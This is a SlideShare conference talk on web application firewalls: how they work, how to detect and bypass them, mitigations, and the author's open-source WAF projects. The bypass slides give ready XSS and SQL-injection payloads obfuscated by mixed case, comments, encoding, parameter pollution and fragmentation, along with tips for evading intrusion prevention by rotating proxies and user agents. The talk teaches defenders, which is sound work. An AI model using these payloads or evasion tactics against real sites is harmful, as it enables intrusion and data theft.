SlideShare a Scribd company logo
Custom Web application
firewall for modern world
Whoamy
●
Antonio Costa aka Cooler_
●
Projects: Github.com/CoolerVoid
●
Contact: coolerlair@gmail.com
●
Cyber security engineer
●
Programmer/developer
●
13 years of work experience with pentest,
codereview, development, incident detection,
incident response and hardening.
Simple case
Request
GET /sell/cars.php?search=<script>alert(document.cookie)</
script >
Request rules
●
Full Match
●
Blocklist
●
Rank based
●
Regex
●
DFA
●
AI
●
ML
Other resources for rules
●
Block per IP adress
●
Leak mitigation(responses)
●
Insert anti-csrf tokens
●
Detect UserAgent anomaly
●
Strong blocklist
●
Denial of service
●
Force hardening in custom
endpoints Headers
HSTS, anti-xss, CSP, nosniff…
●
Insert cookie attributes, httponly
Secure...
Practical point view
●
Detection the type of WAF
●
Common attacks in WAF
●
Custom attacks to bypass WAF
●
Attack Mitigation in WAF
●
Attack Mitigation in application
●
Create your custom WAF
●
My OpenSource Projects
●
Attack and Protection!
Detection
You can search a pattern in cookie, header response…
Each WAF have a different context in response.
●
https://svn.nmap.org/nmap/scripts/http-waf-detect.nse
●
https://github.com/sandrogauci/wafw00f
●
http://code.google.com/p/imperva-detect/
Common attacks
●
WAFs can be configured to actively block requests and traffic that
violate the WAF rule-sets. This is a useful feature, but needs to be used
judiciously, an WAF that is in over-active blocking mode prevents
legitimate traffic from reaching the Web server, making the application
unusable.
●
Sometimes have a weak rules, that don’t match attacks to block.
Mixed case
●
Cool trick to bypass a common rule is mixed case, here the big
purpose is bypass absence of case sensitive rules.
●
SELECT, SeLect, selEcT… UnIOn, unIoN...
●
Look this following:
● /sell/cars.php?search=<script>alert(document.cookie)</script>
● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
Replace Keywords
●
Replace Keywords is common function in WAFs, this resource erase
critical points in attacks, but you can bypass this, you need a point to
insert attack word between payload.
●
Look this following:
● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9
● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
Spaces to comment
●
Replace points to comments is very good way to bypass WAF.
●
Look this following:
●
/sell/cars.php?search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/
1,2,3,database()– -
●
/sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!
●
table_name*/)+FrOM /*information_schema*/.tables /*!WHERE
*/+/*!TaBlE_ScHeMa*/+like+database()– -
Encode abuse
●
Other trick to bypass, is the abuse of encode, sometimes
application can render encoded strings...
●
Look this following:
<script>alert(document.cookie)</script>
●
Url encode:
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
●
64 encode:
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ=
Buffer Overflow
●
When WAF service don’t have a proper validation in inputs, you can
see this problem in fuzzing tests...
●
Look this following:
●
/cars/id/page/=-25+and+(select
2)=(Select0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A...])+/*!UnIOn*/+/*!selECt*/+4,5,6,7…
●
id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...)
+uNIoN+seLecT+2,3,version()...
HTTP Parameter Pollution(HPP)
The following request doesn’t allow anyone to conduct an attack:
●
/?id=1;select+4,5,6+from+users+where+id=1--
●
This request will be successfully performed using HPP.
●
/?id=1;select+4&id=5,6+from+users+where+id=1--
●
Successful conduction of an HPP attack bypassing WAF depends on
the environment of the application being attacked
Using HTTP Parameter
Fragmentation (HPF)
execute_query("select * from table where a=".input_a." and b=".input_b);
execute_query("select * from table where a=".input_a." and b=".input_b."
limit ".input_c);
●
The following request doesn’t allow anyone to conduct an attack
●
/?a=1+union+select+1,2/*
These requests is a possible attack using HPF
●
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
• The SQL requests become
●
select * from table where a=1 union/* and b=*/select 1,2 select * from table
where a=1 union/* and b=*/select 1,pass/*limit */from users--
Time machine
●
Random delay each request
●
Random UserAgent per request
●
Random IP address per request(Proxy)
●
Bypass
Intrusion prevention system (IPS)
Web application firewall (WAF)
Automate
●
Project to change your list of payloads using a lot techniques to help bypass
a WAF.
●
https://github.com/CoolerVoid/payloadmask
Fuzzing / Brute
●
0d1n is a tool for automating customized attacks
against web applications.
●
Open Source
●
Use thread pool
●
Github.com/CoolerVoid/0d1n
Fuzzing / Brute
Fuzzing / Brute
●
0d1n –host http://localhost/test.php –post
”car_name_search=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log
name_log –save_response –tamper
urlencode -proxy-rand payloads/proxy.txt
Fuzzing / Brute
Application mitigations
●
Validation and proper sanitization(remove DOM, js, HTML…).
●
Prepared Statements (with Parameterized Queries).
●
Create a function that check a Block list with common words in
attacks (eval,timeout,union,--, select, delete, version,
benchmark, sleep, /**/...), set all string to lower case before
scan pattern.
●
Study your ORM(SQLalchemy, Hibernate...) to prevent pitfalls
in resources.
●
Follow Mitre and OWASP tricks to hardening etc...
Create your WAF
Create your WAF
●
Study five years around sockets and
raw sockets
●
Demultiplexer problems
(select(), epoll(),
kqueue(), pthreads(), MPI…)
●
Race conditions
●
Testing a lot list of libraries
libuv(used by node)
libevent(old lib for core of nginx)
Python Twisted
Create your WAF
●
WAF from the scratch RaptorWAF
●
Demultiplexer use select() with
pthreads
●
Have a problem, race conditions
in millions connections(lock with
mutex cannot save).
●
Easy to understand
●
Github.com/CoolerVoid/RaptorWAF
Create your WAF
●
Pthread tests
●
Libevent study
●
Lighthttpd core study
●
The big travel...
Create your WAF
●
OctopusWAF
●
Uses LibEvent
●
Have support to heavy connections
●
Uses lib Injection to detect SQLi
●
Github.com/CoolerVoid/OctopusWAF
Create your WAF
Detections
Detections
●
Machine learning
●
Natural language
●
IA
●
Score based
●
Uploads
(binary checks)
Questions ?
Thank you
Contact: coolerlair@gmail.com

More Related Content

PDF
Understand study
PDF
Static analysis for beginners
PDF
Raptor web application firewall
PDF
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
PPTX
Flash it baby!
PDF
Dynamic PHP web-application analysis
PDF
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
Understand study
Static analysis for beginners
Raptor web application firewall
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
Flash it baby!
Dynamic PHP web-application analysis
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...

What's hot (19)

PDF
What Goes In Must Come Out: Egress-Assess and Data Exfiltration
PDF
The Supporting Role of Antivirus Evasion while Persisting
PPTX
Indicators of compromise: From malware analysis to eradication
PDF
Art of Web Backdoor - Pichaya Morimoto
ODP
Os Cook
PDF
Механизмы предотвращения атак в ASP.NET Core
PPTX
Advanced Debugging with WinDbg and SOS
PDF
Stealth post-exploitation with phpsploit
PDF
RIPS - static code analyzer for vulnerabilities in PHP
PPTX
BH Arsenal '14 TurboTalk: The Veil-framework
PPTX
Nginx warhead
PDF
44CON London 2015 - Is there an EFI monster inside your apple?
PDF
How to Setup A Pen test Lab and How to Play CTF
PPTX
How to drive a malware analyst crazy
PDF
FUZZING & SOFTWARE SECURITY TESTING
PDF
Porting your favourite cmdline tool to Android
PDF
Buffer overflow null
PPTX
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
PDF
Nullcon Hack IM 2011 walk through
What Goes In Must Come Out: Egress-Assess and Data Exfiltration
The Supporting Role of Antivirus Evasion while Persisting
Indicators of compromise: From malware analysis to eradication
Art of Web Backdoor - Pichaya Morimoto
Os Cook
Механизмы предотвращения атак в ASP.NET Core
Advanced Debugging with WinDbg and SOS
Stealth post-exploitation with phpsploit
RIPS - static code analyzer for vulnerabilities in PHP
BH Arsenal '14 TurboTalk: The Veil-framework
Nginx warhead
44CON London 2015 - Is there an EFI monster inside your apple?
How to Setup A Pen test Lab and How to Play CTF
How to drive a malware analyst crazy
FUZZING & SOFTWARE SECURITY TESTING
Porting your favourite cmdline tool to Android
Buffer overflow null
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Nullcon Hack IM 2011 walk through
Ad

Similar to WAF protections and bypass resources (20)

PDF
Обход файрволов веб-приложений
PPTX
Waf bypassing Techniques
PDF
QualysGuard InfoDay 2013 - Web Application Firewall
PDF
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PPTX
Basic security and Barracuda VRS
PDF
Lie to Me: Bypassing Modern Web Application Firewalls
PPT
2009: Securing Applications With Web Application Firewalls and Vulnerability ...
PPTX
Best practices of web app security (samvel gevorgyan)
PPT
Web Attacks - Top threats - 2010
PPTX
Top Ten Web Hacking Techniques of 2012
PDF
Burp suite
PPTX
A Forgotten HTTP Invisibility Cloak
PDF
Injecting Security into vulnerable web apps at Runtime
PDF
Внедрение безопасности в веб-приложениях в среде выполнения
PDF
Death of Web App Firewall
PDF
Beyond OWASP Top 10 - TASK October 2017
PPTX
Top 10 Web Hacks 2012
PPTX
Death of WAF - GoSec '15
PDF
Top Ten Web Hacking Techniques (2010)
Обход файрволов веб-приложений
Waf bypassing Techniques
QualysGuard InfoDay 2013 - Web Application Firewall
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Basic security and Barracuda VRS
Lie to Me: Bypassing Modern Web Application Firewalls
2009: Securing Applications With Web Application Firewalls and Vulnerability ...
Best practices of web app security (samvel gevorgyan)
Web Attacks - Top threats - 2010
Top Ten Web Hacking Techniques of 2012
Burp suite
A Forgotten HTTP Invisibility Cloak
Injecting Security into vulnerable web apps at Runtime
Внедрение безопасности в веб-приложениях в среде выполнения
Death of Web App Firewall
Beyond OWASP Top 10 - TASK October 2017
Top 10 Web Hacks 2012
Death of WAF - GoSec '15
Top Ten Web Hacking Techniques (2010)
Ad

More from Antonio Costa aka Cooler_ (10)

PDF
Strange security mitigations
PDF
Improving spam detection with automaton
PDF
Burlando Waf 2.0
PDF
burlando um WAF
PDF
Development pitfalls
PDF
PDF
Vivendo de hacking
PDF
PDF
detector de ladrão com laser
Strange security mitigations
Improving spam detection with automaton
Burlando Waf 2.0
burlando um WAF
Development pitfalls
Vivendo de hacking
detector de ladrão com laser

Recently uploaded (20)

PPTX
Lesson 3_Tessellation.pptx finite Mathematics
PPTX
TE-AI-Unit VI notes using planning model
PDF
Introduction to Data Science: data science process
PDF
Traditional Exams vs Continuous Assessment in Boarding Schools.pdf
PDF
Queuing formulas to evaluate throughputs and servers
PPTX
AgentX UiPath Community Webinar series - Delhi
PDF
ETO & MEO Certificate of Competency Questions and Answers
PDF
A Framework for Securing Personal Data Shared by Users on the Digital Platforms
PPTX
Glazing at Facade, functions, types of glazing
PDF
dse_final_merit_2025_26 gtgfffffcjjjuuyy
PPTX
Fluid Mechanics, Module 3: Basics of Fluid Mechanics
PPT
High Data Link Control Protocol in Data Link Layer
PPT
Ppt for engineering students application on field effect
PPTX
ANIMAL INTERVENTION WARNING SYSTEM (4).pptx
PDF
Structs to JSON How Go Powers REST APIs.pdf
PDF
International Journal of Information Technology Convergence and Services (IJI...
PPTX
anatomy of limbus and anterior chamber .pptx
PPTX
Ship’s Structural Components.pptx 7.7 Mb
PDF
B.Tech (Electrical Engineering ) 2024 syllabus.pdf
Lesson 3_Tessellation.pptx finite Mathematics
TE-AI-Unit VI notes using planning model
Introduction to Data Science: data science process
Traditional Exams vs Continuous Assessment in Boarding Schools.pdf
Queuing formulas to evaluate throughputs and servers
AgentX UiPath Community Webinar series - Delhi
ETO & MEO Certificate of Competency Questions and Answers
A Framework for Securing Personal Data Shared by Users on the Digital Platforms
Glazing at Facade, functions, types of glazing
dse_final_merit_2025_26 gtgfffffcjjjuuyy
Fluid Mechanics, Module 3: Basics of Fluid Mechanics
High Data Link Control Protocol in Data Link Layer
Ppt for engineering students application on field effect
ANIMAL INTERVENTION WARNING SYSTEM (4).pptx
Structs to JSON How Go Powers REST APIs.pdf
International Journal of Information Technology Convergence and Services (IJI...
anatomy of limbus and anterior chamber .pptx
Ship’s Structural Components.pptx 7.7 Mb
B.Tech (Electrical Engineering ) 2024 syllabus.pdf

WAF protections and bypass resources

  • 2. Whoamy ● Antonio Costa aka Cooler_ ● Projects: Github.com/CoolerVoid ● Contact: [email protected] ● Cyber security engineer ● Programmer/developer ● 13 years of work experience with pentest, codereview, development, incident detection, incident response and hardening.
  • 5. Request rules ● Full Match ● Blocklist ● Rank based ● Regex ● DFA ● AI ● ML
  • 6. Other resources for rules ● Block per IP adress ● Leak mitigation(responses) ● Insert anti-csrf tokens ● Detect UserAgent anomaly ● Strong blocklist ● Denial of service ● Force hardening in custom endpoints Headers HSTS, anti-xss, CSP, nosniff… ● Insert cookie attributes, httponly Secure...
  • 7. Practical point view ● Detection the type of WAF ● Common attacks in WAF ● Custom attacks to bypass WAF ● Attack Mitigation in WAF ● Attack Mitigation in application ● Create your custom WAF ● My OpenSource Projects ● Attack and Protection!
  • 8. Detection You can search a pattern in cookie, header response… Each WAF have a different context in response. ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/
  • 9. Common attacks ● WAFs can be configured to actively block requests and traffic that violate the WAF rule-sets. This is a useful feature, but needs to be used judiciously, an WAF that is in over-active blocking mode prevents legitimate traffic from reaching the Web server, making the application unusable. ● Sometimes have a weak rules, that don’t match attacks to block.
  • 10. Mixed case ● Cool trick to bypass a common rule is mixed case, here the big purpose is bypass absence of case sensitive rules. ● SELECT, SeLect, selEcT… UnIOn, unIoN... ● Look this following: ● /sell/cars.php?search=<script>alert(document.cookie)</script> ● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
  • 11. Replace Keywords ● Replace Keywords is common function in WAFs, this resource erase critical points in attacks, but you can bypass this, you need a point to insert attack word between payload. ● Look this following: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
  • 12. Spaces to comment ● Replace points to comments is very good way to bypass WAF. ● Look this following: ● /sell/cars.php?search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! ● table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
  • 13. Encode abuse ● Other trick to bypass, is the abuse of encode, sometimes application can render encoded strings... ● Look this following: <script>alert(document.cookie)</script> ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E ● 64 encode: PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ=
  • 14. Buffer Overflow ● When WAF service don’t have a proper validation in inputs, you can see this problem in fuzzing tests... ● Look this following: ● /cars/id/page/=-25+and+(select 2)=(Select0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A...])+/*!UnIOn*/+/*!selECt*/+4,5,6,7… ● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...) +uNIoN+seLecT+2,3,version()...
  • 15. HTTP Parameter Pollution(HPP) The following request doesn’t allow anyone to conduct an attack: ● /?id=1;select+4,5,6+from+users+where+id=1-- ● This request will be successfully performed using HPP. ● /?id=1;select+4&id=5,6+from+users+where+id=1-- ● Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked
  • 16. Using HTTP Parameter Fragmentation (HPF) execute_query("select * from table where a=".input_a." and b=".input_b); execute_query("select * from table where a=".input_a." and b=".input_b." limit ".input_c); ● The following request doesn’t allow anyone to conduct an attack ● /?a=1+union+select+1,2/* These requests is a possible attack using HPF ● /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- • The SQL requests become ● select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
  • 17. Time machine ● Random delay each request ● Random UserAgent per request ● Random IP address per request(Proxy) ● Bypass Intrusion prevention system (IPS) Web application firewall (WAF)
  • 18. Automate ● Project to change your list of payloads using a lot techniques to help bypass a WAF. ● https://github.com/CoolerVoid/payloadmask
  • 19. Fuzzing / Brute ● 0d1n is a tool for automating customized attacks against web applications. ● Open Source ● Use thread pool ● Github.com/CoolerVoid/0d1n
  • 21. Fuzzing / Brute ● 0d1n –host http://localhost/test.php –post ”car_name_search=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand payloads/proxy.txt
  • 23. Application mitigations ● Validation and proper sanitization(remove DOM, js, HTML…). ● Prepared Statements (with Parameterized Queries). ● Create a function that check a Block list with common words in attacks (eval,timeout,union,--, select, delete, version, benchmark, sleep, /**/...), set all string to lower case before scan pattern. ● Study your ORM(SQLalchemy, Hibernate...) to prevent pitfalls in resources. ● Follow Mitre and OWASP tricks to hardening etc...
  • 25. Create your WAF ● Study five years around sockets and raw sockets ● Demultiplexer problems (select(), epoll(), kqueue(), pthreads(), MPI…) ● Race conditions ● Testing a lot list of libraries libuv(used by node) libevent(old lib for core of nginx) Python Twisted
  • 26. Create your WAF ● WAF from the scratch RaptorWAF ● Demultiplexer use select() with pthreads ● Have a problem, race conditions in millions connections(lock with mutex cannot save). ● Easy to understand ● Github.com/CoolerVoid/RaptorWAF
  • 27. Create your WAF ● Pthread tests ● Libevent study ● Lighthttpd core study ● The big travel...
  • 28. Create your WAF ● OctopusWAF ● Uses LibEvent ● Have support to heavy connections ● Uses lib Injection to detect SQLi ● Github.com/CoolerVoid/OctopusWAF